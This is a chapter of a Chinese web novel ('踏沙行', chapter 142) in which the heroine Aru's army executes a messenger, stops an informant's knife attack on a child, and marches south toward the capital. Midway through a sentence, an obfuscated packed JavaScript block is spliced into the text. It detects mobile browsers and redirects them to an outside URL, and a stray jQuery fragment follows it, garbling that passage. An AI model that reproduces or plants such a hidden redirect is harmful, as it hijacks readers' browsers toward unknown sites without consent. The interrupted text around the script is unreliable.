142.大军南下杀曹令祭旗 兴师问罪找高奇对质
作品:《踏沙行》 祖合热的队伍三天前便已经集结,但一个手脚俱断的人自称阿扎木前来报信,述说公主身份似有猫腻,整个队伍便就地驻扎下来。
巴丝玛听说后,携了敏阿察前去劝谏:“左将军想是忘了狼主走时的叮嘱?”
答伏尔临走时身边只有巴丝玛,祖合热不能忽视她的意见,脸色温和些回道:“那女子身份存疑,很可能是踏沙部的人,叫我如何替她效力?”
“怎么存疑?”巴丝玛反问,“狼主亲自认定的哈腾你还要怀疑?再说,左将军只当狼主当初没有怀疑过哈腾的身份吗?只是比上身份,狼主看中的另有其他!”
这是实话,祖合热有些被说动,但还是问:“那她究竟是谁?若真是踏沙部仇人女子,我等也要为她卖命吗?”
巴丝玛轻叹一口气:“左将军您糊涂啊,万事论迹不论心,您细数数这些年哈腾的所作所为,无一不是惠漠北而仇大周,这还不能说明哈腾早将自己视为漠北统领了吗?如今才有三五年太平日子,您就要因为一个不明身份的人几句不知真假的话怀疑哈腾。她怎么能不伤心呢?”
阿扎木说不了话,这些事是写在一张羊皮卷纸上交给祖合热的。祖合热本也没全然相信,不然早打上甘州杀了阿如,何至左右为难。
巴丝玛看出他脸上的为难,接过那张残破的卷纸仔细看了半晌,忙喊了一声惊呼道:“左将军,此事疑点重重!”
祖合热奇怪凑过来,巴丝玛指着卷纸上工工整整的字迹道:“哈腾还做右夫人时,阿扎木与朵哈是狼主赐给她的近卫。闲暇时哈腾常带他二人认字写字,朵哈静一些倒能认一认,阿扎木最烦写字,一个也不肯学的。他若是阿扎木,那这张卷纸,必是别人写的,既是别人写的,怎么能确定真假?说不定是有心之人写了来诬陷哈腾也未可知。”
哈腾教自己的近卫读书识字只有近身侍奉的巴丝玛知道,祖合热不由信了八分,一脚将自称阿扎木的人踹出一丈远,拔刀就要杀人:“你这混账东西,说,你为什么要诬陷哈腾!”
正闹哄哄的要杀人,曹令跑了一夜终于赶到了,点名要见巴丝玛。
众人都认得袭月,知道是阿如的意思。巴丝玛站出人群,问:“劳您大驾。我就是巴丝玛,哈腾有何吩咐?”
曹令太胖,虽骑马也累得气喘吁吁,喘了半天才摸出信件:“都督叫我,叫我送信给你,”
展信看过,巴丝玛转身将信给祖合热,眼神已经盯住了祖合热腰里的佩刀。
祖合热看过信,两人交换了一个眼神,握刀的祖合热便蓄力超前一挥,还在呼呼喘气的曹令已经身首异处。
“哈腾有令!”面不改色处理完曹令,祖合热举起带血的刀,扬声喊道,“大周皇帝离京,正是我们南下的好时机。来送信者乃是大周宁王的爪牙,杀之为我大军祭旗!即刻南下!”
飞溅的血滴喷了阿扎木一脸,他想是被吓怕了,呜咽着要逃,却因被围在人群中间而绝望恸哭。
巴丝玛实在不忍心,想靠近安抚,祖合热眼疾手快扯住她胳膊,警惕道:“他怀里有刀!”
话音刚落,原本手脚残废的阿扎木竟不知哪里迸发出一股力来,猛地跳起就冲巴丝玛而来。
巴丝玛本能一躲,谁知阿扎木凌空一变,目标换成了巴丝玛身后抱着敏阿察的乳母。
“左贤王!”
巴丝玛脑子似乎轰然一声炸开了,瞬间丧失所有感知,仅存一个目的,就是保护孩子!
“嘶”
“嗖!”
巴丝玛几乎是用自己全部力气撞上阿扎木,冰冷的匕首不知划破了她哪里,觉出疼痛却没有时间去管,第一时间确认敏阿察安全。
与此同时一支破空利箭自远处射来,稳稳扎在阿扎木露出来的胸腹处。
几处危机,祖合热一时不知该去管哪个。
先扶住巴丝玛,再追踪箭矢来源时,阿如已收了弓带人策马奔来。
“哈腾!”祖合热喊出声,手底下还在照料倒地的巴丝玛。
阿如也是,跑过来先确认敏阿察是否安全,再看巴丝玛,好在她只是伤在小臂,暂时被撞晕了过去。
最后看向死透了的阿扎木,阿如压抑着愤怒,冷声看向囚车里的朵哈:“我给过你们机会,没想到你们自己找死!”
朵哈目睹全程,无言以对,依着囚车缓缓跪下去低低地哭,像是被抽走周身力气一般。
他知道哈腾带上自己是给机会与阿扎木对质,找出那个内鬼。实际上哈腾不信自己会背叛,不打算杀他们,但阿扎木为什么不信呢?
命人将他放出来,阿如也失去了仅剩的耐心:“朵哈,对你我已仁至义尽,幸而今天敏阿察没事,若他蹭破一点皮儿,你两个死十遍都不够!”
话音虽平静,但阿如脸上是从未有过的狠恶,在场无一不噤若寒蝉。
“朵哈该死!”朵哈以头抢地,跪在阿如脚边,“愿一死明志。但我漠北男儿死也该死在冲锋的路上,求哈腾给我个机会,我必拼死杀敌,以报您的大恩!”
阿如不肯,要走,朵哈眼疾手快抱住阿如的脚:“我愿为死士,求您成全!”
阿如这才停下,垂眸盯着他抢地的后脑勺:“你不后悔?”
“不后悔!”
挥手叫达步过来带走朵哈阿扎木尸体,阿如俯身去看醒过来的巴丝玛:“姐姐,多亏你。若不是你舍身救下敏阿察,我活在这世上唯一的理由都没了。”
巴丝玛虚弱点点头:“您放心,我就是死,也会保住狼主的血脉。”
阿如重重点头,命令祖合热集结队伍,安顿巴丝玛:“此次南下就是圆狼主未完的梦,战事凶险,生死不知,草原和敏阿察就都交给你了。”
巴丝玛抬眼看着这群汉子,和一脸坚毅的阿如,眼中晶莹一片:“哈腾放心,左将军放心,我一定守得住狼主的漠北!”
祖合热武人性子,藏不住事,此刻拜倒请罪:“哈腾恕罪,祖合热听信谗言误会哈腾。差点贻误军机,请哈腾处罚!”
阿如猜出一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173501|158003||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些,但还是看向达布询问情况。
达布很快将事情复述一遍后退下去,阿如心里咯噔一下。她猜到祖合热听说了什么,没想到连她是踏沙部遗孤的事都知道了。这次若不是提前收服了巴丝玛,恐怕没这么容易过去。
但自己肯定是不能承认,阿如一副痛心疾首的样子,看向眼前跪着的祖合热:“将军起来吧,大敌当前咱们自己人内讧是大忌。我相信清者自清,此事就这样过了,快快集结人马南下,趁乱打过陇山才是重中之重。”
祖合热感动得热泪盈眶,他身为大将疑心主帅是用兵大忌,哈腾完全可以临阵换人。但哈腾不打算追究,他却不能没有态度,遂拔刀咬牙往脸上一横,左边脸颊已经多了一道血印子:“哈腾不疑,祖合热感激不尽,定秉承狼主遗志,踏平中原!”
漠北人以刀割脸就是誓死效忠,这种虔诚的军礼阿如还只有在答伏尔在世时见过。
阿如没想到他诚意至此直接歃血,忙俯身将他扶起来:“将军快请起。狼主一直梦想南下中原,如今机会来也。李协已经派豹骑至甘州,如今正好牵制葛罗禄,咱们趁此机会翻越陇山,直逼京都!”
在场的漠北男儿都梦想着有一天踏上中原的土地,无不听得热血沸腾,山呼:“直逼京都!直逼京都!”
有葛罗禄在肖靖安很难快速脱身,且阿如领的就是返回京都的命令,就算肖靖安反应过来要追赶时阿如早过了陇山。
陇山之西还有尉迟宁,她在别处是乱臣贼子,在阿如这里却是尉迟都尉。面对阿如南下的举动定会坚定跟随,绝不会轻易叫肖靖安跨过陇山。
难办的只有一个张试。
李清仪与李云昭已经知晓阿如真正的身份,她们与张冬英休戚相关,一定也会将这个消息告诉驻守大震关的张试。
好在曹仙娥想拉拢阿如,命张试不得阻拦阿如过关。
路过番禾时,阿如专去见了尉迟宁顺带接了元若出来。她从信上得知元若受伤,却没想到伤得这样重。
李清仪阴狠毒辣,元若被折磨得伤痕累累,全身几乎没一处好地方,精神也不济。
除去同为踏沙部遗民的身份,元若是真正对阿如毫无保留的效忠,很多陆松鸣不肯说的事都是从元若处得知的,感情自与别人不同。
将这笔账都记在宁王头上,阿如握住元若苍白的手,恨得咬牙切齿:“你受苦了,你放心,我一定为你报仇。她们怎么对你,我必叫她们十倍百倍偿还!”
来至大震关外,阿如只带了裴珏的重骑和元若,一副兴师问罪的样子,点名要见高奇。
张试亲开城门来迎,也一副愁容:“都督息怒,高奇不在这里。”
“不在?”阿如不信,觑着眼问,“你当你说句不在就想打发我?据看见的百姓说高奇将我的侍女拐至凉州城内的香水行,接着人就不见了。等找到的时候已经成了这副样子,且那香水行也消失了。我想问问张参军,凉州城内可有拐带人口的牙行?我怀疑你那副将高奇就是他们的同伙!”